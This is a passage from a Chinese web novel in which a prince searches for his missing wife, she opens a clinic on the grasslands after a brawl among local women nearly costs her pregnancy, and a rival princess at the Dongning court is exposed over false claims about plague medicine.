伴随着轩辕翰的想法,程良亦道:“这便就对了。所以拓跋泽,他会不会是对拓跋宏的死有所感应,所以亦着急地回草原去了。” 顺着思绪继续往下想,程良忽然被自己的想法吓到:“如此一来,糟了,他该不会又盯上王妃娘娘了吧?” 第六百八十四章:群妇乱殴 “北烈之所以这么快便亡国,本就有一部分原因出自殿下当年对王妃娘娘的私心。” “若是这一次,拓跋泽一怒之下,将拓跋宏的死再全都归咎于王妃娘娘的身上,那王妃娘娘岂不是羊入虎口?” “这俩兄弟表面上虽看着不合,可他们始终都是一母同胞,血脉相连的亲兄弟,那拓跋泽可是真的心狠手辣……” 程良兀自断断续续地揣测着,似是都不敢再往下想去。 听了程良的话,一时间,轩辕翰的心亦跟着紧紧揪在了一起,担心起来。 可他仍然想要努力抑制住心头的惊慌,道:“不会的,其中许多事,亦只都是我们自己无凭无据的揣测而已。云儿出宫后到底去了哪里?我们都还不能确定,切莫先乱了自己的阵脚。” 程良始终都害怕着:“可如果王妃娘娘是真的只身一人去了草原,遇到拓跋泽,那可怎么办?” 遂默想了一会儿,轩辕翰道:“先让草原上的我们的人去查探一下,尔后再作打算!” “是!属下马上便去安排。” 话一说完,程良便急急退了下去。 一室寂静。 缓缓流淌的思念,正在将轩辕翰一寸寸渐渐吞噬着…… “云儿,那只手镯,是你亲自回来拿走的对不对?” “本王糊涂,竟没能识出那双眼睛来。” “可为何本王总隐隐觉得那夜的你,不像是从前的你了呢?” “觻县之后,到底发生了什么,为什么不告诉本王?” “谢天谢地,总算你还活着!” “你处心积虑安排衣上坤,你们所做的这一切,到底是为了什么?” “云儿,本王好想你!” “你到底在哪儿?” 一时间,无比低落极了的情绪,似是都快要将他吞没一般,就连呼吸都觉得困难。 却又不知该如何发泄,抑或同谁倾诉。 于是他缓缓挪步,不知不觉来到了至今依旧缠绵与病榻上的纯太妃所在的紫和轩里。 本就因为衣上云的离世伤心自责不已,加之置丧期间,轩辕翰又坚决不顾自己阻拦,再次一意孤行应下了太后的赐婚。 尽管知道他是有自己不得已的理由,并不是真的为了纳陆天骄那样的女子为妃,可纯太妃仍然很难接受这一切。 想着她与太后斗了一辈子,如今她还是她,太后仍然是那个太后,心里便就五味杂陈。 “我这一生,从未想过与人结怨,只想寻一处安身之地平稳度日,怎料终究还是一步步走到了今日。” “起初我一直想着,既然那个位置已经是你的了,便就是你的,可你又为什么还要对我们母子咄咄相逼!” “竟还狸猫换太子,胆敢混淆皇室血脉,你就真的不怕遭天打雷劈吗?” “原本以为,匆匆一生,皇儿才是我这辈子最大的骄傲。只要他幸福,便比什么都重要。可没想到,到了,为了扳倒那个老妖妇,他竟要牺牲至此。” “虽然她是守护者后人,不能与皇儿相配,如此一来,正如我所愿,但冥冥之中,我又是那般地不忍心看着他们明明相爱,却又阴阳相隔……” “天下苍生,与儿子的幸福,究竟孰轻孰重?” “西秦没有了守护者,接下来又会发生什么?” 就在纯太妃对这一切束手无策,暗自连连叹气,独自自言自语时,忽然看到轩辕翰正缓步朝自己走过来。 纯太妃便赶忙收起情绪来,用帕子拭了拭脸庞的泪痕。 继而漫不经心地漂了他一眼,问:“这会儿,正是午睡的时候,你怎么过来了?” “母妃……儿臣……” 看到轩辕翰从未在自己面前如此吞吞吐吐过,纯太妃忽然担心了起来,疑惑地问:“你怎么了?” 犹犹豫豫了半晌,轩辕翰已然提到嘴边的话复又收了回去,最后化为一句简单的:“没什么!儿臣就是过来看看,这些日子,母妃的身子可有好些了?” 见此,纯太妃复又生气起来,道:“放心,这把老骨头,一时半会儿的,还气不死,散不了架。” 轩辕翰当然知道纯太妃此刻在气什么。 可许多事,冥冥之中,尚还都未尘埃落定。 或许此刻,对她而言,知道的越少,便就越安全。 沉默片刻,轩辕翰再次开口说:半月后,陆天骄便会被接入宫中,将由太后亲自挑选嬷嬷教导,准备送入王府。” 纯太妃听了,坚定不移地道:“在本宫的心里,从始至终,只有云儿才是唯一的秦王妃。其他的什么阿猫阿狗,本宫都不会放在眼里。” 轩辕翰似是对此很无奈,明显母子俩人无法再继续交谈下去。 轩辕翰便起身道:“儿臣想起,还有些重要的事未处理,母妃照顾好自己,儿臣改日再来探望。” 望着轩辕翰落寞离去的背影,纯太妃始终还是心疼极了地道:“皇儿,真是难为你了!” 草原上,短暂的夏天转瞬即逝。 初秋的景色依旧美丽。 远山、碧草、不知名的野花、成群结队的,又或星星点点的牛羊点缀在上面,夕阳穿透云层,宛如一幅巨大的天然画卷。 经过许久以来的努力和各方奔走,衣上云的医舍基本已经筹备的差不多了。 可眼下,她唯一欠缺的,就是一个由当地府衙所颁发的行医令。 此行医令,是任何想在当地行医的医者都必须具备的资质证明。 想要取得此行医令,除了不可或缺的精湛医术之外,还必须有本地相当有实力的举荐人担保举荐,且被举荐人必须是男子。 此刻,面对这一条法规,衣上云愁眉苦脸着,仿佛真的是彻底没有了办法。 那些曾经被她救治过的女人们,亦是这段时间以来,唯一不离不弃与她并肩作战的人,一起聚集在她的医舍里。 你一句,我一句,叽叽喳喳吵个没完没了。 “你家不是很有钱吗?难道就没有什么路子帮姑娘去买一个什么破令回来?” “我家是很有钱呀,买多少个都不在话下,可姑娘就是姑娘,人家明令要求行医的必须是男子,我能有什么办法?” “你家男人不是跟府衙里的大老爷很熟吗,你让他给姑娘弄个男子的身份,让姑娘女扮男装,这事儿不就解决了吗?” “认识大老爷有什么用呢?颁发行医令当日,人家要来按手印确认是不是本人的,那男子手印和女子手印一看便知,哪儿能骗得了人呢?到时被发现弄虚作假,可是要砍头的。” “说那么多干什么,没本事就是没本事。就知道整天吹牛吹破天,说大话。我看你根本就不认识那大老爷吧。” “你说什么,你再说一次,你说谁吹牛?说谁没本事啊?” “说你就说你,说的就是你,说你还要挑日子吗?” “你个肥婆,我早就看你不顺眼了,有本事再说一次。” “我就再说一次了怎么地……” “啪” 不知怎么的,忽然从空中不知哪个方向莫名地一记重重的巴掌落了下来。 “你敢打我!” “我就打你了,你能把我怎么样?” “我……我……” 紧接着,竟有一堆女人瞬间扭打在了一起。 也不知道自己被谁打了,自己又打了谁,瞬间炸开了锅。 一旁紧紧捂着耳朵的衣上云见了,紧忙上去伸手阻拦。 “别打了,你们别打了。” “住手,快点住手。” 可还没说两句,不料自己却被这支庞大的妇人群忽地推倒在地上。 霎时间,伴随着她吃痛发出“啊……”的一声。 一阵强烈的腹痛感朝她袭击而来。 她却依旧紧紧捂着肚子,试图想要再次站立起来,却是根本就做不到。 于是只能倒在角落里,斜靠着药柜,声音愈来愈低沉吃力地喊着。 “别打了” “停下来” “快点都停下来。” “不要再打了。” …… 就在这时,珠儿恰好走了进来。 一看到原本整洁干净的医舍里,此时到处一地凌乱。 眼前更是群妇乱殴。 胡拉乱拽的,揪扯头发的,掐脖子,拧腰的,或拳或脚,竟还有直接上嘴咬人的。 无奇不有,无所不能…… 一片尖叫声,嚎叫声,夹杂着谩骂声混合在一起震耳欲聋,顿时被眼前的景象惊呆了。 遂愣了一下,珠儿亦赶忙上前去制止。 “你们在做什么?” “不要打了。” “都快点儿停下来。” “快停下来” …… 可显然,她弱小的声音,以及如若无力的阻拦,对于这会儿各个都在气头上,亦是力大如牛的妇人来说,同样丝毫没有用处。 “怎么办?” “怎么办?” “这些人怎么会打起来了?” “姑娘呢?” “姑娘也不知道去哪儿了?” 就在珠儿亦对此束手无策,转而正在寻找衣上云的身影时,忽然听到被挤到一旁角落里的衣上云,发出一阵微弱极了的声音。 “珠儿” “珠儿” “我在这里。” “快来帮帮我。” 闻声,珠儿赶忙放眼朝着声音传出来的方向寻觅了过去。 却是霎时间被眼前的一幕惊呆了…… 第六百八十五章:骏马百匹换一令 珠儿很快便锁定了衣上云所在的位置,朝其放眼过去。 却一眼便看到被鲜血染红了的衣上云洁白的纱裙,珠儿顿时瞪大了眼睛,发出一阵惊声。 “血……” “有血……” “姑娘你流血了……” 至此,医舍里所有人手里的动作俱都戛然而止,齐刷刷朝着衣上云望去,变得鸦雀无声。 周围静的仿佛就连针掉在地上的声音,亦是那样地清晰。 珠儿这一声,就连衣上云自己也似被吓到,望着身下的一抹鲜红,嘴巴一张一合吃惊地道:“孩子,我的孩子……” 就在所有人都惊慌失措,不知该怎么办的时候,拓跋泽忽然从外面冲了进来。 一看到此刻正落在角落里,害怕无助极了的衣上云的身影,一瞥见那抹血色,随即紧忙三步并作两步上前过去。 倏地蹲身而下,一把将她捞了起来,横抱起,所有动作一气呵成。 继而对满屋的人厉声狠狠喝斥道:“今日她,亦或她腹中的胎儿,若是有个什么闪失,我定要你们所有人都为此付出你们绝对负担不起的后果。” 拓跋泽说完,便就紧忙抱着衣上云快步离开。 只留下满屋的妇人俱都面面相觑着,似是还未反应过来究竟发生了什么? 却是在场每个人都战战兢兢,瑟瑟发起抖来。 一回到自己的毡帐里,拓跋泽便寸步不离地守在陷入昏迷中的衣上云榻边。 直至深夜时分。 已经一整天都不吃不喝,亦丝毫未敢起身动弹。 唯怕自己一离开,衣上云万一醒来需要人照顾,自己却不在。 看到向来桀骜不驯的拓跋泽,此刻却是这般温柔体贴,从未对哪个女子如此上心过。 珠儿心中早已嫉妒的发狂,硬是以各种理由进进出出了好几次,拓跋泽却都没有察觉。 这一次,她终于试着鼓起了勇气,走进来对拓跋泽说:“大皇子,去歇一会儿吧,我来守着姑娘,姑娘一醒过来,我便就去通知你。” 怎料拓跋泽竟似是根本就没听到一样,头也不抬,眼睛只一直直勾勾的盯视着衣上云的脸。 过了许久,方才出声拒绝了她:“不用,本皇子不累,你出去吧!” 犹犹豫豫之间,珠儿心一横,终于还是开了口,问:“请恕奴婢多嘴,大皇子是不是喜欢这个姑娘……” 闻此,终于,拓跋泽的心还是顿了一下。 珠儿即刻便看出了他所给出的答案,赶忙阻止他:“大皇子万万不可。” 拓跋泽却道:“有何不可?” 珠儿幽幽说:“她是秦王轩辕翰的女人,而且还怀着秦王的骨肉。秦王是怎样的人,想必不用奴婢提醒您,您也很清楚。他怎可能任由自己的妻儿流落在外?终有一天,她总会离开这里,回到秦王的身边。你与她,是不会有结果的。如此,大皇子你这又是何必呢?” 岂料拓跋泽思索片刻,竟说:“这一切,本皇子都不在乎。本皇子只想能将她多留一日,便是一日。” 闻此,珠儿心中震惊不已,遂质问他:“那大皇子的计划呢?也都不管不顾了吗?我草原千千万万战死的将士的血海深仇不报了吗?莫非大皇子已经忘了,如今我们脚下的这片草原,可是属于西秦人的。就连你白天为她刚刚讨来的行医令,亦是用百余匹骏马与西秦人所换得的。” 对于这些亡国后,对自己处处赤裸裸的限制与羞辱,拓跋泽又怎会忘记,可眼下,他确是也还不能怎样? 霎时间,被勾起的仇恨顿时浮上心头,拓跋泽愤愤斥责其道:“大胆贱婢,你是什么身份?有什么资格质问本皇子?还不滚出去。” 闻此,珠儿心中甚觉委屈。 遂紧紧地咬住了自己的嘴唇,终将余下的话全都咽了下去,继而转身恨恨离去。 珠儿离去,一室寂静。 俗话说乐极生悲,否极泰来。 国破家亡,失去一切。 自己已经倒霉这么久了,他总隐隐觉得,自己的运气就快要来了。 想着想着,他不禁开口对衣上云自言自语地说:“你一定便就是本皇子的好运气。是上天派来救赎本皇子的,对不对?这辈子,你都不会离开本皇子身边,是吗?” 翌日清晨。 一束阳光穿透云雾,射向了大地万物,看来又是晴空万里,美好的一天。 迷迷糊糊之中,衣上云终于缓缓睁开了眼睛。 便见一夜未曾离去的拓跋泽,竟就趴在自己的榻边睡着了。 心中不禁顿觉有些感动:“没想到这样霸道凶悍的一张脸,竟也有如此温柔的一面。你……是真的变了吗?” 这时,忽地记起自己昏迷前所发生的那场混乱,便就赶忙附手到自己的腹部去触摸了一下,着急地问:“我的孩子?” 似是感觉到了她的动作,拓跋泽此时亦醒了过来。 看她着急,紧忙坐起身来,告诉她:“你放心,老巫已经来看过了,说你只是动了胎气,孩子很好,他没事。” 衣上云显然被那抹血色吓的不轻,于是一边挣扎着坐起身来,朝其再次确认:“真的吗?我的孩子,确定他没事?” “草原上现下已是秋天了,务必当心自己的身子。” 拓跋泽一边悉心地替其扯了扯被角,一边信誓旦旦地说:“你放心,我知道,只有这个孩子没事,你才会继续留在我的身边。所以,我一定会保你们母子平安的。” 闻此,衣上云真心地对他说:“这次,真的谢谢你!若不是你来得及时,万一要是伤到了这孩子,我真的不知该怎么办?” 拓跋泽一听,忽然想起了方才珠儿所说的话。 于是想了想,竟鬼使神差地生起气来,想要试探他,说道:“若是这个孩子真的没了,你是不知道自己该怎么办,还是不知如何跟秦王轩辕翰交待?” 衣上云忽然听到轩辕翰的名字,直觉又熟悉,又陌生。 “我……”一时间,竟变得结巴起来,似是乱了方寸。 于是她亦生气起来,扭过头去说:“好端端的,你提他做什么?” 见她已然是真的生了气,拓跋泽很快便意识到自己说错了话。 可却并没有安慰她,转而又道:“好,那我们暂且不提秦王轩辕翰,我们说说别的……” 衣上云这才稍稍舒展开了些眉头来。 却闻拓跋泽紧接着又严肃极了地说了句:“我们来说说昨天的事儿……” 终于,这一时刻还是来了。 衣上云就知道,对于昨天在医舍里所发生的混乱事件,差点导致自己小产,拓跋泽一定不会轻易放过那些妇人。 于是便躲躲闪闪,吞吞吐吐了起来:“昨天的事儿……” 拓跋泽却是一脸颇为正经地问说:“你可还记得,昨天到底是谁推的你?本皇子定要将它揪出来五马分尸。” “什么?” “五马分尸?” 衣上云听了,顿惊看向他的脸,继而赶忙劝阻他道:“你不能这么做?” 衣上云心想:“亏我刚刚还以为你真的变了呢?怎么转眼便就又如此残暴不仁了!” 于是朝其紧忙解释。 “你看我现在不是好好的吗?” “你就不要再追究她们了。” “再说,她们也都是为了我好。” “是她们陪我翻山越岭,寻回许多珍贵的药材。” “眼下云上医舍所有一切都已准备妥当,就差官方一纸行医令。她们也是关心则乱,替我着急,一不小心才撞到我的。” …… 未及衣上云将话说完,拓跋泽便瞪大了眼珠怒不可遏的一副模样,似是对于昨天那触目惊心的一幕,至今都还后怕着。 于是开口责怪她:“昨日那是你运气好,可若是真的出了什么事儿怎么办?” 衣上云保证道:“你放心,我不会出事的。” 对于眼前这女人无论何时何地,对何人,总是肆意泛滥的爱心,拓跋泽实属奈何不了她丝毫。 最后只能与其四目相对视了一会儿,终于还是放弃了。 遂叮嘱说了句:“仅此一次,下不为例,本皇子绝对不允许你有任何危险。” 话一说完,便将一个小黑木匣从身上掏了出来,递到了衣上云的面前。 衣上云伸手将其接过,好奇地问:“这是什么?” 拓跋泽指示她道:“打开看看。” 霎时间,衣上云对着从匣子里抽出来,展开的一纸文书惊呆了。 “这是……” “官方的行医令!” “你是从哪儿得来的?” 拓跋泽顿昂首挺胸,道:“凭藉本皇子的身份,难道还弄不来一纸行医令吗?” 衣上云此刻早已高兴的都不知该对他说些什么。 最后只能道了句:“真是太谢谢你了。” 看到她此时高兴的模样,拓跋泽只觉得自己比她本人更高兴。 便回了一句:“你只要照顾好自己,便是对我最大的感谢了。” 顿了顿,又继续说:“你想开医舍,帮助草原上的那些妇人,本皇子不会干涉你,但是……” 衣上云看他话里有话,便追问:“但是什么?” 拓跋泽想了想,说:“但是我们要约定,为了你的身子着想,每日你只能看诊半日,如若你不答应,本皇子便就立刻将这行医令收回去!” 拓跋泽说着,便就伸手欲将其从衣上云的手里抽走。 “不要!”衣上云赶忙将其藏在了自己的身后。 思索片刻,道:“我答应你!” 终于,在一个云淡风轻的日子。 云上医舍正式开门营业了。 第六百八十六章:动荡的千里之外 可衣上云不知道的是,在千里之外的东宁国,终于还是因为自己当时的仁慈与退让,使得如今整个朝野上下陷入一片动荡不安,民心涣散不堪之中。 此时,昔日无比威严的大殿之上,梅志煊依旧高高在上端坐着。 殿前,已然已经回到母国的梅汐媛却满目怒火中烧,带着自己的兄长梅志豪一起。 立在大殿上,朝着满朝文武大臣气势汹汹,趾高气扬地发出一阵质疑的声音。 “在这大殿之上,可有人能同本公主解释一下,本公主的皇兄,乃当朝太后亲生,身份何其贵重,为何就不能继位?” 那梅志豪也高高扬起下巴来,在边上附和起哄着说:“对,今儿你们必须给本皇子一个合理的解释,否则本皇子定不会善罢甘休!” 梅汐媛说着,转而怒目望向梅志煊所在的位置,轻蔑地道:“反倒是想拥护一个贱人所出的就连庶子亦算不上的人继任大统……” 梅志豪转而又喝道:“还不快滚下来。” 见此,梅志煊将摊在龙椅两边扶手上的两只大手紧紧握成了拳,却还在努力隐忍着。 这时,人群里有位老者站了出来禀报说:“启禀公主,之所以拥戴三皇子,那是因为受永宁公主所托……” 未及其将话说完,梅汐媛便将其打断,佯装道:“永宁公主?那是什么人?她又算哪门子主子,竟能主宰我东宁泱泱大国之命脉?” 老者恭敬地作揖后,笑着开口道:“公主刚刚回国,怕是有些事情还不知道。永宁公主,乃是老国君驾崩之前,亲自所寻回遗失在西秦的嫡公主,并给予其封号……永宁,意指永葆我东宁久治长宁之意。” 岂料那人话刚说完,便就被梅汐媛忽地转过头去,狠狠怼了一番:“住嘴!我看你莫不是老糊涂了吧,随便在宫外找个什么阿猫阿狗带回来,便就说是已故先皇后的遗孤?可有何证据?” “证据……这……”老者显然再无言以对。 “哼……”梅汐媛说着,遂发出一阵轻笑声来。 继续道:“父皇年迈,依照本公主看,父皇定是受到了你们这些老眼昏花之人的蛊惑。莫非宫外满天下的同龄女子,岂不都是你们口中所要寻找的嫡公主了吗?” 众人听闻,皆都顿时陷入一片哗然。 老者见了,紧忙劝阻:“公主此言诧异,万万不可胡说。永宁公主的确千真万确,乃是老国君亲自确认寻回,祭天告祖过的,绝对不会错的。” 看到自己的话,已然见了成效,使得其中有些人心生起怀疑。 这些人当中,自是不缺乏她的势力在中间助力挑拨,梅汐媛便说:“算了,本公主看你也的确是老眼昏花,糊涂了,懒得跟你多废话。” 顿了顿,复又一副看似沉重的模样,继续说:“只是,你们都是我东宁宫廷的人上之人,贵中之贵,上至天文,下知地理。难道就没有一个人怀疑过,父皇刚刚驾崩,此人一继位,一向风调雨顺的东宁便就发生了这般前所未有的重大疫情,这会不会就是场天怒人怨呢?” “人在做,天在看。” “这……” 果然,此话一出,人群里,顿时有更多的人开始议论了起来。 至此,高高在上的梅志煊终于再也按捺不住内心的愤怒,厉声喝道:“梅汐媛,你少在这里捕风捉影,蛊惑人心。” 然经历了这么多,早已是今夕不同往日。 如今的梅汐媛,心眼里只有满满的仇恨,那些与他儿时的美好记忆,早已抛到了九霄云外。 于是想都没想,便回了他一句:“你给我闭嘴!” 继而,她又对着满朝大臣,补道:“如今整个东宁怕是都无人不知。此次,若不是本公主及时从西秦带回足够的麻黄来,不要说龙虎城了,怕是就连整个东宁,亦都将在劫难逃。” 现如今,失去一切的梅汐媛,除了一心想要帮助自己的兄长夺回大位,为自己的母后一雪前耻。 甚至未来有一日,她定当亦向轩辕翰讨回个说法。 曾经,她带着满心欢喜和希冀地去和亲,却被人原封不动地退回母国,如此奇耻大辱,从小骨子里便就透着的那份骄傲的她,怎能甘心就这么咽下这口气去。 除此之外,似是什么都不管不顾了。 一怒之下,她用手倏地指向梅志煊,反而恶狠狠地质问起他:“可你……你却都做了什么?你差点儿毁了东宁,让所有人深陷万劫不复之中。” 说完,转身面向众人,道:“所以,他根本就不配坐上那个位置。” 哪怕知道会被斥责,老者却是始终都坚持地道:“只有永宁公主,才是老国君最属意的大位继承人人选。” 果然,梅汐媛闻声,顿瞪向他的脸,道:“你还真是个极难啃的骨头。可就算她是,那又如何?” 梅汐媛随即污蔑说:“即便她真的是你们口中所说的嫡公主,父皇最属意的大位继承人。可当她面对龙虎城的疫情时,却是半途而废,最后还是抛弃了龙虎城,自己一个人跑了,不是吗?” 老者回忆着,解释道:“当时疫报传来,永宁公主她亦是出去寻麻黄了,并不是跑了。” 这一切,仿佛都在梅汐媛的预料中:“真是不见棺材不落泪。” 随即喊了声:“把人都给本公主带上来!” 霎时,便被侍卫押上来两名被绳子从后面捆了双手的壮汉男子,跪在了殿前。 梅汐媛喝声命令道:“把你们知道的全都一字不落地给本公主说出来,否则,本公主定立刻让人把你们碎尸万段。” 一时间,几人七嘴八舌地开了口。 “那女子,她根本就是个骗子。” “仗着自己年轻,有几分姿色,便就想方设法讨了老国君的欢心,居然还摇身一变,成了富甲一方的东宁国最尊贵的嫡公主。” “知道自己没有治国的本事,却还想做个闲散贵人。” “于是拿了宫里许多金银细软,便逃到了龙虎城,表面上说是救灾,其实就是为了等待她的情郎来与她汇合。” “难不成,你们这些蠢货,莫不是还在等她回来吧?” “哈哈哈哈哈……哈哈哈哈……” 说完,那几个壮汉竟就这样旁若无人地在大殿上肆意狂笑了起来。 过了会儿,终是梅汐媛开口打断了这阵笑声:“难道你们到现在还不相信,你们心心念念的永宁公主,从始至终,根本就是个骗子!你们可别忘了,为了拯救龙虎城,本公主才是那个历经千辛万苦,从西秦将麻黄带回之人。” 眼看着殿上两股势力,马上即将分出胜负。 这时,只见身着一袭宝蓝色锦袍,上面绣着淡淡的竹花纹,墨发全束,举手投足之间散发着不凡气质的俊朗男子,干净利落,不受任何阻拦地走进到大殿来。 顷刻间,所有人俱都一同朝其望了过去。 就连梅汐媛亦是瞬间都看呆了,待一回过神来,问那男子:“你是何人?怎的能上朝来,本公主似是以前从未见过你!” 那男子目不斜视,一近身过来,便径直朝梅志煊面前走了过去,对其问候道:“龙虎城少城主陆远,参见三皇子殿下!” 看到眼前来人,梅志煊顿觉整个人都豁然开朗了起来,说:“少城主快请起,今日你怎么来了?” 梅汐媛这才惊声道:“你便就是龙虎城的少城主?!” 陆远看都没看她一眼,兀自只回答梅志煊的问题:“今日陆远前来,是因为终于查清楚了一件事情,迫不及待地想要为永宁公主在殿前正声。” “带上来!” 说着,便命人亦带上来了两名壮汉。 梅汐媛在一旁依旧似是挪不开眼地注视着陆远的侧脸轮廓,默默地嘀咕着:“真是可恶,世间如此长相好看的男子,居然又是为那个贱人来开脱的!” 不成想,就在她若有所思之际,自己先前带上来的两个证人,却与陆远这会儿刚刚带来的两个证人当场认起亲来。 “大哥” “二哥” “三弟” “四弟” 霎时间,梅志煊看不明白了:“这到底是怎么回事?他们四个居然认识。” 陆远亦是没有预想到,他的证人,竟与梅汐媛的证人是兄弟。 遂朝自己带来的那俩人斜了一眼,那两名壮汉便就乖乖地跪倒在地上。 陆远这才缓缓开口说了起来。 “龙虎城大疫来势汹汹,人人唯恐避之不及,又恰逢老国君刚刚薨逝,正值朝堂多事之秋。永宁公主身份何其尊贵,能得公主对龙虎城没日没夜,尽心全力守护,乃龙虎城全城百姓之福。如果在这场不见硝烟的战役里,公主的功劳排第二,便就绝对没有人敢排第一。” 这番话一说出口,大殿上的舆论顿时翻倒了过来。 梅志煊心中亦是顿时底气十足,问:“对了,方才少城主说今日前来,是因为终于查清楚了一件事情,究竟是什么事?” 第六百八十七章:关于麻黄的真相(一) 直到此时,陆远方才将目光微微向梅汐媛的方向斜了一些,却仍未看她的脸。 反倒是梅汐媛,刚一察觉到陆远欲向自己看过来,便立刻扬起笑容来满脸期待地朝其转过了身去。 不料陆远却开口问了她一句:“敢问公主殿下,命人送到龙虎城的那些麻黄,果真是公主您从西秦寻回来的吗?” “我……” 这让梅汐媛实在是有些始料未及,她没有想到,陆远想要对她说的竟是这个。 只见她顿时卸去了脸上的笑容,心里嘀咕着。 “这个陆远,到底是什么来头?仅仅仗着自己是龙虎城少主的身份,居然都如此这般地高傲与嚣张,甚至连本公主都不放在眼里。如此,就不要怪本公主对你不客气了!” 暗暗地下定决心,梅汐媛顿昂首挺胸,扬起眉来,肯定极了地道:“当然!” 继而开始她一个人煽情的表演。 “本公主虽然远嫁西秦,可无时无刻不在心系着母国。” “他乡纵有当头月,不及母国一盏灯。” “在西秦,本公主一听闻母国龙虎城里突发大疫,百姓们苦不堪言。本公主便寝食难安,于是想尽一切办法,命人争取在最短的时间里,收购到足够多的麻黄,并第一时间亲自差人将其全数送到龙虎城以助其解困。” 闻此,陆远笑了笑,问:“公主的意思是,这些麻黄,是公主亲自命人四处收购回来的?而并非借助公主的夫婿,西秦秦王的帮助?” 为了表现这件事,乃是自己亲力亲为,梅汐媛居然无知极了地信口便道:“当然,这其中大多,还是由本公主亲自到药铺去采买回来的,这可都是本公主满满的诚意,和对龙虎城的祝福。” “幸得皇天庇护,终究本公主所有的努力都没有白费。” 原本以为说到这里,自己一定会得到许多人的赞赏。 怎料陆远却继续说:“公主远嫁西秦亦有数年,难道竟不知麻黄在西秦属于最高级别的管制药材?” “麻黄既是一味良药,亦是最害人的毒。其采集、收购、运输等均实行最高级别,严格的许可证制度,若是未经当地相关府衙许可,任何人不得非法采集、收购或运输。对于违反规定的,将视其采集和收购及运输的数量多少,处以不同时间,或长或短,最长乃至可以判其终身牢狱之灾。” “尔今看公主所收购回来的满满十数车的量,除了那西秦秦王,怕是这灵空大陆上,再也没有第二个人,敢做到如此大手笔。” 显然,对于陆远所说的这一切,梅汐媛当真一无所知。 一时间,竟无言以对。 顿时只朝其瞪大了眼睛惊呆了:“这……” 霎时间,偌大的大殿上,众人开始交头接耳,议论纷纷开来。 “这俗话说王子犯法,与庶民同罪。如今公主嫁去了西秦,自是亦要遵守西秦的国法,该不会,公主亦要被追究了吧。” “这要是真追究下来,后果可不堪设想。” “怕是连她那夫婿西秦秦王,亦是再护不住她。” “你说公主回去不会被砍头吧?” “这么说,龙虎城的麻黄,真的不是公主寻回来的?” “这救命的麻黄竟然不是公主寻回来的?!” “这可是成车成车实打实的麻黄药材,这么多的麻黄,莫非真的是西秦秦王所赐?” “可公主为什么要撒谎呢?” “秦王是她的夫婿,说是秦王赐的又能怎样?” “这一切,到底是怎么回事?” …… 这时,陆远又再次开了口,说:“不过想来也是,公主的夫婿乃是西秦秦王,公主想要什么,想必秦王自是都会变着法儿给公主的。” 说着,便佯装恭维起来:“这向来听闻灵空战神,西秦秦王不近女色,冰冷无情,如今看来,倒是也未必如传闻中所说的一般不近人情,想来公主似是甚得那秦王的欢心。不然的话,那秦王也不会这般大方。” 闻此,梅汐媛终于再次昂起首来,倍显骄傲了起来:“那是自然,本公主的夫婿,自是对本公主有求必应,言听计从!他背着本公主命人暗中相助做下这些,也是想讨本公主的欢心。” 此话一出,偌大的宫殿里,顿时一片寂静。 不明白眼前这俩人,到底想说什么。 片刻后,被陆远方才带上大殿来的一名壮汉,忽然发出一阵似是再也看不下去了的声音。 “事到如今,你不装会死吗?” 闻声,梅志煊放眼朝下看了去,询问道:“是谁在说话?” “是我!”那发声的壮汉一点儿也不避讳,答应道。 梅志煊追问道:“方才你那句话是在说谁?什么意思?” 那壮汉轻蔑极了地扫了一圈面前周围个个衣着光鲜亮丽,人模狗样的官员,道:“你们这一殿的文武百官,最是没用,龙虎城的麻黄到底怎么来的?你们就都不要在那里瞎琢磨了,怕是到了明天这个时候亦是没有结果。” 见他如此蔑视群臣,大言不惭,立在一旁的梅志豪气不过地道:“大胆,你知道这是什么地方吗?休要在此造次,口出狂言,小心本皇子立刻命人取了你的项上人头……” 怎料他此举,竟一点儿也唬不住那壮汉。 这满殿的人,那壮汉仿佛最是瞧不上他:“就你,草包一个!杀我当然易如反掌,可杀了我,你就能坐上你想坐的那个位置?还是你便能拥有你想要的一切?都多大的人了,还仗势欺人,看来你也就那点儿出息。” 梅志豪有生之年,从出生到现在,直至此时此刻,从未被人如此羞辱过。 一时之间,气得都语无伦次了。 “你……” “你……” “你……” “你真是气死我了……” “来人。” “快来人。” “反了” “这是要反了。” “这都是从哪儿来的混帐王八蛋” “有眼无珠” “竟敢如此羞辱本皇子。” “还不赶快把这个大胆狂徒拉下去,把他的头砍下来挂在城门上,挂满足足一个月。” “本皇子要让进出城门的所有人都知道,数落得罪本皇子的后果。” “来人……” “人呢?” 一怒之下,梅志豪居然忘了在这大殿之上,只有坐在最高的位置上的那个人,才有权利命令殿前的侍卫。 梅志豪看着此时高高在上的梅志煊稳稳地坐在那里,丝毫未有动一下的意思。 居然快步过去,想要亲自处置那名对自己大不敬的壮汉,遂龇牙咧嘴凶巴巴地说:“看本皇子今天不亲自扒了你的皮!” 就在他正欲附手上去试图将那壮汉提起的时候,壮汉丝毫未动,自己却累个半死。 一只手做不到,便换做两只手,可最后,显然两只手亦是不行。 就在这时,陆远伸出一手去捏住了梅志豪的胳膊,说:“此人是陆远带给三皇子的证人,大皇子还没有资格处置他。” 陆远对他还未使力,梅志豪便已觉自己的胳膊似是快被捏断了。 嘴里连连发出阵阵猪叫一般的尖叫声。 “疼疼疼疼疼。” “放开” “快放开本皇子” 梅志豪显然已经认识到了他的力量。 心里虽然气得要命,可却又胆怯,自己显然不是陆远的对手,只能极不甘心的作罢。 紧紧地抱着自己的一只胳膊,牢牢将其护住,生怕再次被他控制。 这时,梅志煊继续开口问那壮汉:“仿佛这位好汉知道龙虎城的麻黄到底是怎么回事?” 壮汉这才说道:“你们这帮里面倒是还有几个迂腐的老头猜的没错,那数十车麻黄,分明都是出秦王封地,且由秦王轩辕翰秘密派人送到龙虎城的。不信你们派人去查,那每一袋药草里,都有加盖了秦王府印章的检验证明。” “这便是陆某从那些麻黄袋子里所找到的证据,每袋都有。” 届时,陆远从身上掏出一个小卡片,殿内内侍将其接过送到了梅志煊面前。 梅志煊一看便道:“果然有秦王府的印章。” 闻此,大殿上顿时一片哗然:“原来麻黄真的是秦王所赐?” 壮汉听闻,顿发出一阵质疑的声音:“秦王所赐?” 继而又说:“秦王轩辕翰可并没有那么好心?他可从不做亏本的买卖。” 众人想了想,又看了看殿前此刻似是心虚极了的梅汐媛,道:“难道,秦王真是为了讨好永乐公主?故而才赐给龙虎城救命的麻黄草……” 壮汉一时之间,竟都不知该说些什么了:“真是一群智商堪忧的老废物,不明白东宁国怎的就靠着他们富甲一方了呢?” 索性,他便直接开口告诉他们::“那是你们的另一位公主,舍身忘己为你们龙虎城求回来的。” 直到此时,众人方才醒悟。 “什么?” “是永宁公主。” 